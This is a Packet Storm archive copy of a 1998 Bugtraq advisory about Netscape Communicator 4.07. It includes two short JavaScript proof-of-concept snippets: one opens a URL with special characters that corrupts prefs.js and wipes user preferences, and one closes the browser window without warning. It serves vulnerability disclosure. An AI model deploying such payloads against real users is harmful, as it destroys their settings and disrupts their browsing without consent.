netscape.4.07.pref.txt

1999-08-17T00:00:00
ID PACKETSTORM:15234
Type packetstorm
Reporter Packet Storm
Modified 1999-08-17T00:00:00

Description

                                        
                                            `Date: Mon, 19 Oct 1998 16:25:26 +0200  
From: Themag00ru <XThemag00ru@USA.NETX>  
To: BUGTRAQ@netspace.org  
Subject: Netscape Communicator 4.07 - Prefs.js Reset  
  
  
I don`t know if this is already known or not.  
  
Anyway if you put alt+0130 characters into the URL, netscape  
will write it into the url history in prefs.js  
example:  
*<SCRIPT LANGUAGE="JavaScript"><!--Do hide from new Mo Zilla  
*function oops(){  
*window.open("http://somewhere.com/ ^Â^Â^Â^Â^Â^Â^Â","_parent");  
*}  
*// --></SCRIPT>  
would go to the specified address and will write the address in prefs.js  
After you shut down netscape and start it later it will give errors like:  
  
unterminated string literal  
Default Prefences will be used.  
  
Which means your Preference settings have gone bye bye.  
And another thing thats even more weird is the fact that after a few years  
of javascript and browser history...this 1 still works:  
*<SCRIPT LANGUAGE="JavaScript"><!--  
*function oops(){  
*window.alert("Bye Bye");  
*window.close();  
*}  
*// --></SCRIPT>  
No warnings again just like the older versions it just closes.  
  
  
Themag00ru  
`